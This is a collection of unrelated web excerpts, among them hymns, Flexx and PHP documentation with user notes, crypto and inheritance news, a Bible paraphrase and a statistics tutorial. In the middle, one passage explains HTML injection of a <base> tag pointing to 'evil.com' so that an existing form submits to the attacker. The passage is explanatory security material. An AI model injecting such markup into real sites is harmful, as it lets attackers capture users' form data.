Wine to cause rejoicing, oil to give anointing,
Bringing in the top tenth, bringing in the sheaves.
Bringing in the sheaves, bringing in the sheaves,
Here we are rejoicing, bringing in the sheaves!
Bringing in the sheaves, bringing in the sheaves,
Here we are rejoicing, bringing in the sheaves!
ENJOYING CHRIST
SEL. 253
Yes, we are the people — together enjoying
The oneness of living, the joy of one life;
We're living by Jesus, we're living by Christ!
There is love between these brothers and sisters—
All, all over this land! Oo-Oo-Oo. . .
ENJOYING CHRIST
SEL. 254
Jeremiah 31:12
Therefore they shall come and sing in the height of Zion,
And shall flow together to the goodness of the Lord;
For the wheat, and for wine, and for oil, and for the young,
for the young of the flock and of the herd;
And their soul shall be as a watered garden;
And they shall not sorrow any more at all.


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Ui introduction¶
This module consists solely of widget classes. Once you are familiar with the Widget class, understanding all other widgets should be straightforward. The Widget class is the base component of all other ui classes. On itself it does not do or show much, though we can make it visible:
from flexx import app, ui
# A red widget
class Example(ui.Widget):
CSS = ".flx-Example {background:#f00; min-width: 20px; min-height:20px}"
Widgets are also used as a container class:
from flexx import app, ui
class Example(ui.Widget):
def init(self):
ui.Button(text='hello')
ui.Button(text='world')
Such “compound widgets” can be used anywhere in your app. They are
constructed by implementing the init()
method. Inside this method
the widget is the default parent.
Any widget class can also be used as a context manager. Within the context, the widget is the default parent; any widgets created in that context that do not specify a parent, will have the widget as a parent. (The default-parent-mechanism is thread-safe, since there is a default widget per thread.)
from flexx import app, ui
class Example(ui.Widget):
def init(self):
with ui.HBox():
ui.Button(flex=1, text='hello')
ui.Button(flex=1, text='world')
To create an actual app from a widget, there are three possibilities:
serve()
it as a web app, launch()
it as a desktop app or
export()
it as a standalone HTML document:
from flexx import app, ui
@app.serve
class Example(ui.Widget):
def init(self):
ui.Label(text='hello world')
example = app.launch(Example)
app.export(Example, 'example.html')
To lean about the individual widgets, check the list of widget classes.
Web developers may want to have a look at the Div class
and this example for a more classic way of
creating HTML content.


Cat walks in keyboard stretch, but purr when being pet. Eat plants, meow, and throw up because i ate plants really likes hummus chase ball of string, for i love cuddles. Yowling nonstop the whole night scamper. Being gorgeous with belly side up climb leg. Open the door, let me out, let me out, let me-out, let me-aow, let meaow, meaow!. Spend all night ensuring people don't sleep sleep all day eat from dog's food. Chew foot hide when guests come over. Have a lot of grump in yourself because you can't forget to be grumpy and not be like king grumpy cat i like frogs and 0 gravity for humans,humans, humans oh how much they love us felines we are the center of attention they feed, they clean or eat the fat cats food, lick sellotape for stare at ceiling.  Attack the child if it fits, i sits for sleep everywhere, but not in my bed for lounge in doorway eat grass, throw it back up do i like standing on litter cuz i sits when i have spaces, my cat buddies have no litter i live in luxury cat life or rub against owner because nose is wet. Sit by the fire put toy mouse in food bowl run out of litter box at full speed , inspect anything brought into the house nyan fluffness ahh cucumber! flex claws on the human's belly and purr like a lawnmower hunt by meowing loudly at 5am next to human slave food dispenser. Jump around on couch, meow constantly until given food, humans,humans, humans oh how much they love us felines we are the center of attention they feed, they clean for meeeeouw hunt anything that moves, for lies down i can haz. Swipe at owner's legs sit by the fire.


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array_rand
(PHP 4, PHP 5, PHP 7)
array_rand — 从数组中随机取出一个或多个单元
说明
mixed array_rand ( array $input [, int $num_req = 1 ] )
从数组中取出一个或多个随机的单元，并返回随机条目的一个或多个键。
参数
input
输入的数组。
num_req
指明了你想取出多少个单元。如果指定的数目超过了数组里的数量将会产生一个
E_WARNING 级别的错误。
返回值
如果你只取出一个，array_rand() 返回一个随机单元的键名，否则就返回一个包含随机键
名的数组。这样你就可以随机从数组中取出键名和值。
更新日志
版本 说明
5.2.10 The resulting array of keys is no longer shuffled.
4.2.0 随机数发生器自动进行播种。
范例
Example #1 array_rand() 例子
参见
• shuffle() - 将数组打乱
User Contributed Notes 33 notes
===============================================================================
Note: array_rand uses the libc generator, which is slower and less-random than
Mersenne Twister.
This is a better alternative.
===============================================================================
Looks like this function has a strange randomness.
If you take any number of elements in an array which has 40..100 elements, the
31st one is always by far the less occuring (by about 10% less than others).
I tried this piece of code at home (PHP Version 5.3.2-1ubuntu4.9) and on my
server (PHP Version 5.2.17), unfortunately i haven't any server with the last
version here :
$value)
{
$proba[$valeurs[$value]]++;
}
}
asort($proba);
echo "Proba :
\n";
foreach($proba as $key => $value)
{
echo "$key : $value
\n";
}
?>
In every try, the number of occurrences change a bit but the 31 is always far
less (around 2200) than the others (2400-2600). I tried with 50 and 100
elements, no change. I tried with more or less elements to pick (second
parameter to array_rand), same result. If you pick only one element it's even
worse : 31 has half the result of the others.
For this particular case, i recommend shuffling the array and taking the nth
first elements, in this test it's 60% faster and the statistics are ok.
===============================================================================
I agree with Sebmil (http://php.net/manual/en/function.array-rand.php#105265)
that "array_rand()" produces weird and very uneven random distribution (as of
my local PHP 5.3.8 and my public host's PHP 5.2.17).
Unfortunately, I haven't got any access either to a server with the latest PHP
version. My info is for those of you who like to check things for themselves
and who don't believe all of the official statements in the docs.
I've made a simple adjustment of his test code like this:
\n";
foreach($test as $k=>$v) echo "$k :\t$v
\n";
?>
And it appears to me that simple "$idx=rand(0, count($test)-1);" is much better
than "$idx=array_rand($test, 1);".
And what's more the simpler and a bit slower (0 ms up to total 712.357 ms at 5
mln cycles) "rand()" is better than "mt_rand()" in simple everyday use cases
because it is more evenly distributed (difference least vs. most often numbers:
ca. 0.20-1.28 % for "rand()" vs. ca. 1.43-1.68 % for "mt_rand()").
Try it for yourself... although it depends on your software and hardware
configuration, range of numbers to choose from (due to random patterns), number
of cycles in the loop, and temporary (public) server load as well.
===============================================================================
If the array elements are unique, and are all integers or strings, here is a
simple way to pick $n random *values* (not keys) from an array $array:
===============================================================================
An example for getting random value from arrays;
cherry
Array
(
[0] => banana
[1] => apple
)
And example for getting random value from assoc arrays;
"apple", "b" => "banana", "c" => "cherry");
print_r(array_random_assoc($a));
print_r(array_random_assoc($a, 2));
?>
Array
(
[c] => cherry
)
Array
(
[a] => apple
[b] => banana
)
===============================================================================
If you're just trying to draw a random subset of n elements from an array, it
seems more effecient to do something like this:
1)
{
$rndIndex = rand(0,$lastIndex);
array_push($returnArr,array_splice($array,$rndIndex,1));
$draws--;
$lastIndex--;
}
return $returnArr;
}
?>
No messing with indexes when you're done... you just have an array with the
elements you're looking for in it.
===============================================================================
I modified fake_array_rand to always only return 1 element, and did some
benchmarks against calling array_rand with the second parameter as 1. I ran
100 samples for each function for each number of elements and took the average
result. While the internal array_rand is faster for a small number of
elements, it scales very poorly.
1 elements: 2.0619630813599E-05 sec. for array_rand,8.4352493286133E-05 sec.
for fake_array_rand
10 elements: 2.1675825119019E-05 sec. for array_rand,8.427619934082E-05 sec.
for fake_array_rand
100 elements: 2.9319524765015E-05 sec. for array_rand,8.4599256515503E-05 sec.
for fake_array_rand
1000 elements: 0.0001157283782959 sec. for array_rand,8.5572004318237E-05 sec.
for fake_array_rand
10000 elements: 0.0016669762134552 sec. for array_rand,8.5201263427734E-05 sec.
for fake_array_rand
100000 elements: 0.015599734783173 sec. for array_rand,8.5580348968506E-05 sec.
for fake_array_rand
1000000 elements: 0.18011983394623 sec. for array_rand,8.6690187454224E-05 sec.
for fake_array_rand
===============================================================================
This is something I have been playing with for quite awhile. I'm very new to
php, but i finally got it to work. it's a function that will take and array
[$arrquo] and find a particular keyword[$find] in the different elements of the
array then take those elements that posess that keyword and display them at
random
In my case I had this huge array of quotes with 90 some elements. I was able to
find certain keywords in those elements then ONLY display the elements that had
those keywords. NEAT! Maybe only because I'm new.
===============================================================================
It doesn't explicitly say it in the documentation, but PHP won't pick the same
key twice in one call.
===============================================================================
An array of arrays example:
\n";
echo "URL:-----".$banners[$id_banner]['url']. "
\n";
?>
===============================================================================
$color
HERE;
?>
===============================================================================
If you trying to get a randon array just use that... it's easier! And you have
no repeats...
srand ((float) microtime() * 10000000);
$input = array ("Neo", "Morpheus", "Trinity", "Cypher", "Tank");
$keys = array_rand ($input, sizeof($input));
while (list($k, $v) = each($keys))
{
echo $new_input = $input[$v];
}
?>
===============================================================================
Random choice with a closure.
$randomChoice = function($array) {return $array[array_rand($array)];};
$names = ['Dexter', 'Esther', 'David', 'Richard', 'Rachel', 'Belinda'];
echo $randomChoice($names);
===============================================================================
If you want get unique range:
";
}
?>
===============================================================================
To select a random Value (not a Key) from a Multi-Dimentionnal array I made a
recursive function : array_multi_rand()
the following exemple randomly selects an url from a multidimentionnal array :
$Expos['Google']['Science']='news.google.fr/news?topic=t';
$Expos['Google']['Economie']='news.google.fr/news?topic=b';
$Expos['Google']['Sante']='news.google.fr/news?topic=m';
$Expos['Yahoo']='fr.news.yahoo.com';
$Expos['Events']['LogicielLibre']='agendadulibre.org';
$Expos['MyBlog']='www.kik-it.com';
function array_multi_rand($Zoo){
$Boo=array_rand($Zoo);
if(is_array($Zoo[$Boo])){
return array_multi_rand($Zoo[$Boo]);
}else{
return $Zoo[$Boo];
}
}
echo(array_multi_rand($Expos));
?>
===============================================================================
There was a mistake at "Paul Hodel (paul at ue dot com dot br) 17-Apr-2003
04:40":
String
echo $new_input = $input[$v];
have to be:
echo $new_input[] = $input[$v];
===============================================================================
For those of you thinking that it does not work for num_req = 1, it is because
it return a variable and not an array. This mainly cause some problem with
people using foreach.
The correct way to handle this is explained by that example:
";
?>
// You can then correctly use the foreach, as it require an array to work
// If you use foreach with one element, it won't work.
===============================================================================
Well, this is interesting. I don't see anyone else commenting on this, so
just in case you were planning to use this function like I was, be prepared:
array_rand does not handle multidimensional arrays. It just ends up returning
a list of the X-axis values without the Y-axis arrays. Bummer. I'm going to
have to find another way to do what I wanted.
===============================================================================
Modify of last note:
mt_rand generates a better random number, and with the limit.
===============================================================================
this is to generate a random selection from an array with array_rand preety
nice, can be used to generate random passwords or anything:
$my_array = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l",
"m", "n", "o", "p", "0", "1", "2", "3", "4", "5");
for ($i=0; $i<=10; $i++)
{
$random = array_rand($my_array);
//this generates the random number from the array
$parola .= $my_array[$random];
//here we will display the exact charachter from the
array
}
echo $parola; // printing result
===============================================================================
0)
{
if($count == 1)
{
$result = array(array_rand($source_array, $count));
}
else
{
$result = array_rand($source_array, $count);
}
}
else
{
$result = array();
}
return $result;
}
// using the above function to pick random values instead of entries
function Select_Random_Entries($source_array, $count = 1)
{
$result = array();
$index_array = Select_Random_Indices($source_array, $count);
foreach($index_array as $index)
{
$result[$index] = $source_array[$index];
}
return $result;
}
?>
===============================================================================
As wazaawazaa600 at msn dot com pointed out, a multi-dimensional array doesn't
work with this function. So, I hope I can help someone with this :)
* @param array $array The array to return the elements from
* @param int $limit The number of elements to return from
* the array
* @return array The randomized array
*/
function array_rand_keys($array, $limit = 1) {
$count = @count($array)-1;
// Sanity checks
if ($limit == 0 || !is_array($array) || $limit > $count) return array();
if ($count == 1) return $array;
// Loop through and get the random numbers
for ($x = 0; $x < $limit; $x++) {
$rand = rand(0, $count);
// Can't have double randoms, right?
while (isset($rands[$rand])) $rand = rand(0, $count);
$rands[$rand] = $rand;
}
$return = array();
$curr = current($rands);
// I think it's better to return the elements in a random
// order, which is why I'm not just using a foreach loop to
// loop through the random numbers
while (count($return) != $limit) {
$cur = 0;
foreach ($array as $key => $val) {
if ($cur == $curr) {
$return[$key] = $val;
// Next...
$curr = next($rands);
continue 2;
} else {
$cur++;
}
}
}
return $return;
}
?>
===============================================================================
According to office at at universalmetropolis dot com I have to say that the
example is wrong.
The count() function will return the number of items in the array, that's the
last index + 1. So if there's 2 items in the array, count() will return 2 but
the indices are 0 and 1. Now since rand(x,y) randomizes between x and y
inclusively the index from the above example may be out of bounds. Thus you
have to subtract 1 from the count:
===============================================================================
I wanted to write something that picks a random entry from a 1column-MySQL
database - simply Post Of The Moment (potm). I know there surly are many better
ways to do it, but I`m rather new to PHP :) Anyway, it`s simple and no-problem
working code.
Of course I assume your DB exists and you always have something in it.
@$link = MySQL_Connect("localhost", "username", "password"); //connect to mysql
mySQL_Select_DB("database"); //..to DB
@$potms = MySQL_Query("SELECT * FROM potm"); //now we get all from our table
and store it
MySQL_Close($link); //there`s no need for connection, so we should close it
$potm_array = ''; //sets variables to "zero" values
$i = 0;
while ($entry = MySQL_Fetch_Array($potms)) //now we go through our DB
{
$potm_array[$i] = $entry; //our temporary array from which we will
random pick a field key
$i++; //now we increment our field key
}
$potm_id = array_rand($potw_array); //picks a random key from array
$potm = $potm_array[$potm_id]['name_of_the_field']; //now we have stored our
Post Of The Moment in $potm
..hope this helps
===============================================================================
Note that the int num_req parameter is the required number of element to
randomly select. So if your array has 3 element and num_req=4 then array_rand()
will not return anything since it is impossible to select 4 random elements out
of an array that only contains 3 elements. Many people think that they will get
3 elements returned but that is of course not the case.
===============================================================================
if you want random elements from an array, this worked pretty well for me.
0 ) {
$array = array_splice($array, 0, $limit);
}
return $array;
}
?>
===============================================================================
Verified 2015-06-03 -- this function produces VERY uneven "random"
distribution.
===============================================================================
/*
useful function to sort an array randomly
*/
function sort_array_rand($array) {
$result = array();
$y = sizeof($array);
$x = 0;
while ($x < pow($y, 2)) {
$result[] = $array[array_rand($array)];
$x++;
}
return array_unique($result);
}
===============================================================================
Two things always bugged me with array_rand().
First is its name. It does not sound clear enough whether it gives key or
values.
Second and more importantly is its erratic randomness, which is already well
documented.
That is why I came up with these two simple functions:
They both work well with any kind of arrays, do not alter the original one like
shuffle, are giving more realistic random results, and their names are self
describing.
The main drawback is that, as opposed to array_rand, they only gives one
element, but at least that is clear from their name. I do believe easy to make
random_keys and random_values.
===============================================================================
Is there a difference in randomness if you use shuffle instead?
string(3) "Neo"
[1]=>
string(8) "Morpheus"
}
*/
?>
And yes, I know that my example returns a portion of the array and not just the
key numbers
===============================================================================
@Sebmil :
You say this function "has a strange randomness [, because] the 31st one is
always by far the less occuring (by about 10% less than others)."
That's right (at least under linux, PHP 5.3). And it's also visible when
calling array_rand with 1 as second parameter.
After checking the code, and testing it, I concluded that you have to call
srand() at each iteration of your loop.
To be simple, a rand() call is made times when the th key is returned;
I suppose there is a flaw in the pseudorandom number generator (PRNG) that php
uses; somehow the generation has a frequency of 31 (when a random number is
sufficiently low, then the 31st after it will be more higher).
Reinitializing the PRNG each time you enter the loop make the problem disappear
(and is cheaper, in terms of time, than using shuffle).
In other words, the following code :
for ($i = 0; $i < 10000; ++$i)
{
/* reinitialize the PRNG --> */ srand();
$tirage_tab = array_rand($valeurs, 10);
foreach($tirage_tab as $key => $value)
{
$proba[$valeurs[$value]]++;
}
}
doesn't have the strange behaviour you noticed. No PRNG is perfectly random, so
taking the habit of calling srand() from time to time is still a good practice
if you rely on a lot of random numbers.
===============================================================================
1){
for($a=0;$a<$i;$a++){
$res[] = $input[$rand_keys[$a]];
}
}
else{
$res[] = $input[$rand_keys];
}
return $res;
}
$a = my_array_rand($input,3);
echo "";
print_r($a);
echo "
";
?>
===============================================================================
It is correct that using array_rand() with num_req=1 will return an integer and
not an array, but why get so complicated with getting just the one value. The
K.I.S.S. method would suggest to do it this way:
srand((double)microtime() * 10000000);
$originalArray = array("red", "blue", "green", "brown",
"cyan", "magenta", "purle", "cheezy");
$pickOne = array_rand($originalArray, 1);
$aRandomSelection = $originalArray[$pickOne ];
echo "$aRandomSelection was the random selection made";
?>
You only need to use the foreach if the num_req >=2. In those cases the
array_rand() function will return an array of random elements which are a
subset of the original array. When num_req = 1, the array_rand() function
returns an integer that signifies a randomly picked key of the original array.
Hope this clarifies things ... it works for me.


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Bitcoin Podcaster Confronts German Faketoshi
by Emilio JanusPart of the joy in seeing the latest would-be Satoshi Nakamoto revealed as a fraud, is in watching their so-called ‘evidence’ being pulled apart and proven false by experts. Bitcoin Podcaster, Kenn Bosak, however chose a different tack.
Use Your Words
The Faketoshi in question is Jörg Molt, a German man who clearly isn’t Satoshi, but we’ll get to that later.
Presenter of the ‘Not Another Bitcoin’ podcast, Kenn Bosak, tweeted a video of himself outing Molt at the World Crypto Conference in Las Vegas last week.
 He said that Molt has been telling people that he is Satoshi, but that he is not. This would all be perfectly reasonable if Bosak could manage to finish a single sentence without using expletives. However, this was not the case.
When asked by another gentleman to leave and take his behaviour outside, Bosak initially started to protest. Then Molt flipped off Bosak’s baseball cap, and we saw Bosak’s true colours. Whilst the gentleman continued to usher Bosak out of the event, he continued to protest.

Of course, the people didn’t need to ‘know’ Bosak to realise that his behaviour was inappropriate and that he was rightfully being ejected.
Who is Jörg Molt?
Back to Molt, aka Jörg Örtl/ DJ Sunlove. At a SIMS conference in Pune, Molt delivered a speech under the pretence that he was Bitcoin’s Co-Founder.
The fact that nobody seemed to question this at the time, and that he has since flown almost completely under the radar (until now), speaks volumes about the utter lack of credibility behind his statements.
Here is a man with allegedly no coding skills, no economic background, and a reputation for scamming older women out of money.
His own ex-wife felt the need to make a YouTube video a year ago, in which she detailed his scams. She claims that he owes money to at least six people, and isn’t paying alimony for his two children. This isn’t a very nice guy, so it’s a shame that he wins a moral victory in the confrontation with Bosak.
Perhaps most amusingly, Molt’s ex wife says that he didn’t even own a computer at the time that the Bitcoin white paper was released.
Despite this, he claims to have co-founded Bitcoin, that Craig Wright isn’t Satoshi Nakamoto (well duh!), and that he has 250,000 BTC.
Andreas Antonopolous yesterday also felt the need to tweet, distancing himself from Molt, after learning that Molt had been showing people a selfie of the pair and saying they were friends. This was a lie, said Antonopolous, as was Molt’s claim to have 250k BTC.
Bosak Turns On Bitcoin Jesus
Since the video of the confrontation was released, Bosak has decided to pick a fight with Roger Ver. After a Bitcoin.com news story on Molt described Bosak as previously accosting two of its own unsuspecting booth workers at an event in 2018, he challenged: “Whoever wrote this. F**k you. Fight me.”
If he had the guile to put together a decent argument to back up his passion, then it might have been a different story. Obviously Ver did have the wherewithal to politely put Bosak in his place, not that Bosak seems to have realised that.
Meanwhile, although there are many scammers in our space, and tempers do get heated (especially if someone knocks our favourite hat off)… please, for the sake of the industry, stay classy out there.
What do you make of Kenn Bosak’s denouncement of Jörg Molt? Add your thoughts below!
Images via Speakingofcrypto, Twitter @KennethBosak
The Rundown


The next exfiltration vector worth highlighting relies on the injection of <base> tags. A majority of web browsers honor this tag outside the standards-mandated <head> section; in such a case, the attacker injecting this markup would be able to change the semantics of all subsequently appearing relative URLs, e.g.:
<base href='http://evil.com/'> ← Injected line
...
<form action='update_profile.php'> ← Legitimate, pre-existing form
...
<input type="text" name="real_name" value="John Q. Public">
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</form>
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1 The rulers of Moab will say to each other,
"We must send some lambs from the city of Sela as a gift to the ruler of Judah to persuade him to not allow his army to attack us anymore.
We should send them through the desert to the king in Jerusalem."
2 The women of Moab will be left alone at the fords of the Arnon River;
they will be like birds that have been pushed out of their nests.
3 They will cry out, "Help us!
Tell us what we should do!
Protect us completely,
we who are running away from our enemies,
and do not betray us.
4 Allow those of us who are fleeing from Moab to stay with you;
hide us from our enemies who want to destroy us!
Some day there will be no one to oppress us,
and our enemies will stop destroying our land."
5 Then Yahweh will appoint someone to be king
who will be a descendant of King David.
As this man rules, he will be merciful and truthful.
He will always do what is fair
and quickly do what is righteous.
6 We people of Judah have heard about the people of Moab;
we have heard that they are very proud and conceited;
they are insolent,
but what they say about themselves is not true.
7 Some day all the people in Moab will weep.
They will all mourn,
because there will be no more raisin cakes in the city of Kir Hareseth.
8 The crops in the fields of Heshbon will wither,
and the vineyards of Sibmah will wither also.

Its branches spread very far west,
to the west side of the Dead Sea.
9 So I will weep for Jazer
and for the grapevines of Sibmah.
I will shed tears for all of you.
I will cry because people will no longer shout joyfully, like they usually do
when they gather the fruit that ripens in the summer and the other crops.
10 People will no longer be glad at harvest time.
No one will sing in the vineyards;
no one will shout joyfully.
No one will tread on grapes to get grape juice for wine;
there will be nothing to shout about joyfully.
11 I cry in my inner being for Moab;
my groaning is like a sad song played on a harp.
I am sad in my inner being for Kir Hareseth.
12 The people of Moab will go and pray at their sacred shrines,
but that will not help them.
They will cry out to their gods in their temples,
but no one will be able to rescue them.
13 Yahweh has already spoken those things about Moab.
14 But now he says that exactly three years from now, he will destroy all the things that the people of Moab have been proud of. Even though they have a huge number of people in Moab now, only a few people will remain alive, and they will be weak.


You could inherit a Scottish castle and £370,000 if you have one of these surnames
435 empty Scottish estates worth up to £370,000 are available to claim
by James Rodger, Hilary Mitchell, Ben Weich, https://www.facebook.com/jamesrodgerjournalistIf you have one of these surnames you could inherit a Scottish castle and £370,000.
The Government has published a list of unclaimed estates north of the border, with hundreds of thousands of pounds in assets up for grabs.
435 empty Scottish estates worth up to £370,000 are available to claim.
The unclaimed estates are left lying there after their owners died either without making a will or without identifying a next of kin.
Cash, land, assets and homes - some as large as mansions and castles - could be up for grabs, reports the Mirror.
Some of the more unusual surnames on the list include Carlin, Hunniball, Malone-Philban and Raube.
When a person dies in Scotland without leaving a will detailing their desired benefactors, any unclaimed assets automatically fall under the care of the Crown, and are then placed in the care of The Office of Queen’s and Lord Treasurer’s Remembrancer.
In March 2016, the Succession Act passed by the Scottish Parliament made the process of claiming unwanted estates easier, removing the requirement to obtain a 'bond of caution' - a type of insurance provided only by a small number of firms in the UK.
The estates will eventually revert to the Crown if no next of kin are identified.
If you think you are entitled to claim an estate, applications can be submitted here .
You can download the list for the rest of Scotland here .
There are thought to currently be more than 8,000 unclaimed estates in England and Wales.
This summer, London pensioner Margaret Abbotts inherited more than £300,000 from a half sister she never knew she had, after she was contacted by a law firm specialising in forensic genealogy.
Advice on unclaimed estates in England and Wales is available here .


Object hosting is a process of registering an object into some register (object host). Once the object is attached to the host, it becomes visible as a global entity. Any client (thread of execution) may find and hook the object and use its functionality. After the object is detached from the host it still may be in use, so the life-time control must be used to wait until the object is free and can be safely disposed. The AntiSem reference counting is used for this purpose.
Two object hosts are provides in CCore. ObjHost can host multiple polymorphic objects, identified by names. SingleHost can host a single object of the given type.


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--- date: "2016-04-09T16:50:16+02:00" title: Basic Stats Concepts output: learnr::tutorial weight: 6 ---
In this section you will be introduced to a set of concepts that enable data to be explored with the objective
The starting point is to understand what data is.
Can you provide a formal definition of the population and the sample? 😁
The population is the set of all people/objects of interest in the study being undertaken.
In statistical terms the whole data set is called the population. This represents “Perfect Information”, however in practice it is often impossible to enumerate the whole population. The analyst therefore takes a sample drawn from the population and uses this information to make judgements (inferences) about the population.
Clearly if the results of any analysis are based on a sample drawn from the population, then if the sample is going to have any validity, then the sample should be chosen in a way that is fair and reflects the structure of the population.
The process of sampling to obtain a representative sample is a large area of statistical study. The simplest model of a representative sample is a “random sample”:
A sample chosen in such a way that each item in the population has an equal chance of being included in the sample.
As soon as sample data is used, the information contained within the sample is “Imperfect” and depends on the particular sample chosen. The key problem is to use this sample data to draw valid conclusions about the population with the knowledge of and taking into account the ‘error due to sampling’.
The importance of working with representative samples should be seriously considered; a good way to appreciate this importance is to see the consequences of using unrepresentative samples. A book by Darrell Huff called How to Lie with Statistics, published by Penguin contains several anecdotes of unrepresentative samples and the consequences of treating them as representative.
Data Analysis Using Sample Data
Usually the data will have been collected in response to some perceived problem, in the hope of being able to glean some pointers from this data that will be helpful in the analysis of the problem. Data is commonly presented to the data analyst in this way with a request to analyse the data.
Before attempting to analyse any data, the analyst should:
Make sure that the problem under investigation is clearly understood, and that the objectives of the investigation have been clearly specified.
Before any analysis is considered the analyst should make sure that the individual variables making up the data set are clearly understood.
The analyst must understand the data before attempting any analysis.
In the summary you should ask yourself:
Do I understand the problem under investigation and are the objectives of the investigation clear? The only way to obtain this information is to ask questions, and keep asking questions until satisfactory answers have been obtained.
Do I understand exactly what each variable is measuring/recording?
Describing Variables
A starting point is to examine the characteristics of each individual variable in the data set.
The way to proceed depends upon the type of variable being examined.
Classification of variable types
The variables can be one of two broad types:
A common way of handling attribute data is to give it a numerical code. Hence, we often refer to them as coded variables.
There are two types of measured variables, a measured variable that is measured on some continuous scale of measurement, e.g. a person’s height. This type of measured variable is called a continuous variable. The other type of measured variable is a discrete variable. This results from counting; for example ‘the number of passengers on a given flight’.
The Concept of Statistical Distribution
The concept of statistical distribution is central to statistical analysis.
This concept relates to the population and conceptually assumes that we have perfect information, the exact composition of the population is known.
The ideas and concepts for examining population data provide a framework for the way of examining data obtained from a sample. The Data Analyst classifies the variables as either attribute or measured and examines the statistical distribution of the particular sample variable from the sample data.
For an attribute variable the number of occurrences of each attribute is obtained, and for a measured variable the sample descriptive statistics describing the centre, width and symmetry of the distribution are calculated.
attribute:
measured:
What does the distribution show?
For an attribute variable it is very simple. We observe the frequency of occurrence of each level of the attribute variable as shown in the barplot above.
For a measured variable the area under the curve from one value to another measures the relative proportion of the population having the outcome value in that range.
A statistical distribution for a measured variable can be summarised using three key descriptions:
The common measures of the centre of a distribution are the Mean (arithmetic average) and the Median. The median value of the variable is defined to be the particular value of the variable such that half the data values are less than the median value and half are greater.
The common measures of the width of a distribution are the Standard Deviation and the Inter-Quartile Range. The Standard Deviation is the square root of the average squared deviation from the mean. Ultimately the standard deviation is a relative measure of spread (width), the larger the standard deviation the wider the distribution. The inter-quartile range is the range over which the middle 50% of the data values varies.
By analogy with the median it is possible to define the quartiles:
The diagram below shows this pictorially:
🤓💡 Conventionally the mean and standard deviation are given together as one pair of measures of location and spread, and the median and inter-quartile range as another pair of measures.
There are a number of measures of symmetry; the simplest way to measure symmetry is to compare the mean and the median. For a perfectly symmetrical distribution the mean and the median will be exactly the same. This idea leads to the definition of Pearson’s coefficient of Skewness as:
Pearson's coefficient of Skewness = 3(mean - median) / standard deviation
An alternative measure of Skewness is the Quartile Measure of Skewness defined as:
Quartile Measure of Skewness = [(Q1 - Q3) - (Q2 - Q1)]/(Q3 - Q1)
Important Key Points:
The descriptive statistics provide a numerical description of the key parameters of the distribution of a measured sample variable.
Investigating the relationship between variables
One of the key steps required of the Data Analyst is to investigate the relationship between variables. This requires a further classification of the variables contained within the data, as either a response variable or an explanatory variable.
A response variable is a variable that measures either directly or indirectly the objectives of the analysis.
An explanatory variable is a variable that may influence the response variable.
Bivariate Relationships
In general there are four different combinations of type of Response Variable and type of Explanatory Variable. These four combinations are shown below:
The starting point for any investigation of the connections between a response variable and an explanatory variable starts with examining the variables, and defining the response variable, or response variables, and the explanatory variables.
🤓💡: In large empirical investigations there may be a number of objectives and a number of response variables.
The method for investigating the connections between a response variable and an explanatory variable depends on the type of variables. The methodology is different for combinations as shown in the box above, and applying an inappropriate method causes problems. 💡⚡😩
DA Methodology
The first step is to have a clear idea of what is meant by a connection between the response variable and the explanatory variable. This will provide a framework for defining a Data-Analysis process to explore the connection between the two variables, and will utilise the ideas previously developed.
The next step is to use some simple sample descriptive statistics to have a first look at the nature of the link between the variables. This simple approach may allow the analyst to conclude that on the basis of the sample information there is strong evidence to support a link, or there is no evidence of a link, or that the simple approach is inconclusive and further more sophisticated data analysis is required. This step is called the Initial Data Analysis and sometimes abbreviated to IDA.
If the Initial Data Analysis suggests that Further Data Analysis (FDA) is required, then this step seeks one of two conclusions:
or
The outcome of the analysis is one of the two alternatives given above. If the outcome is that there is no evidence of a connection, then no further action is required by the analyst since the analysis is now complete.
If however the outcome of the analysis is that there is evidence of a connection, then the nature of the connection between the two variables needs to be described.
🤓💡 The Data-Analysis Methodology described above seeks to find the answer to the following key question:
On the basis of the sample data is there evidence of a connection between the response variable and the explanatory variable?
The outcome is one of two conclusions
No evidence of a relationship
Yes there is evidence of a relationship, in which case the link needs to be described.
This process can be represented diagrammatically as:
For each of the four data analysis situations given, the data analyst needs to know what constitutes the Initial Data Analysis (I.D.A.) and how to undertake and interpret the I.D.A. If Further Data Analysis is required the analyst needs to know how to undertake and interpret the Further Data Analysis.
Measured Vs Attribute(2-levels)
There is a relationship between a measured response and an attribute explanatory variable if the average value of the response is dependent on the level of the attribute explanatory variable.
Given a measured response and an attribute explanatory variable with two levels, “red” & “blue”, if the statistical distribution of the response variable for attribute level “red” and attribute level “blue” are exactly the same then the level of the attribute variable has no influence on the value response, there is no relationship.
This can be illustrated as below:
Measured Vs Measured
The first step is to have a clear idea of what is meant by a connection between a measured response variable and a measured explanatory variable. Imagine a population under study consisting of a very large number of population members, and on each population member two measurements are made, the value of \(Y\) the response variable and the value of \(X\) the explanatory variable. For the whole population a graph of \(Y\) against \(X\) could be plotted conceptually.
If the graph shows a perfect line, then there is quite clearly a link between \(Y\) and \(X\). If the value of \(X\) is known, the exact value of \(Y\) can be read off the graph. This is an unlikely scenario in the data-analysis context, because this kind of relationship is a deterministic relationship. Deterministic means that if the value of \(X\) is known then the value of Y can be precisely determined from the relationship between Y and \(X\). What is more likely to happen is that other variables may also have an influence on \(Y\).
If the nature of the link between Y and X is under investigation then this could be represented as:
\(Y = f(X) + effect\) of all other variables [effect of all other variables is commonly abbreviated to \(e\)]
Considered the model:
\[Y = f(X) + e \text{ [e is the effect of all other variables]}\]
The influence on the response variable Y can be thought of as being made up of two components:
the component of Y that is explained by changes in the value of X, [the part due to changes in \(X\) through \(f(X)\)]
the component of Y that is explained by changes in the other factors. [the part not explained by changes in \(X\)]
Or in more abbreviated forms the ‘Variation in Y Explained by changes X’ or ‘Explained Variation’ and the ‘Variation in Y not explained by changes in X’ or the ‘Unexplained Variation’.
In conclusion, the Total Variation in Y is made up of the two components:
Which may be written as:
\[\text{The Total Variation in Y = Explained Variation + Unexplained Variation}\]
🤓💡 The discussion started with the following idea:
\[Y = f(X) + e\]
And to quantify the strength of the link the influence on \(Y\) was broken down into two components:
$$\text{The Total Variation in Y = Explained Variation + Unexplained Variation}$$
This presents two issues:
A: Can a model of the link be made? B. Can The \(Total Variation in Y\), \(Explained Variation\) and the \(Unexplained Variation\) be measured?
What do these quantities tell us?
Maybe we can observe a proportion of the \(Explained Variation in Y\) over the \(Total Variation in Y\). This ratio is always on the scale \(0\) to \(1\), but by convention is usually expressed as a percentage so is regarded as on the scale \(0\) to \(100\%\). It is called \(R^2\) and interpretation of this ratio is as follows:
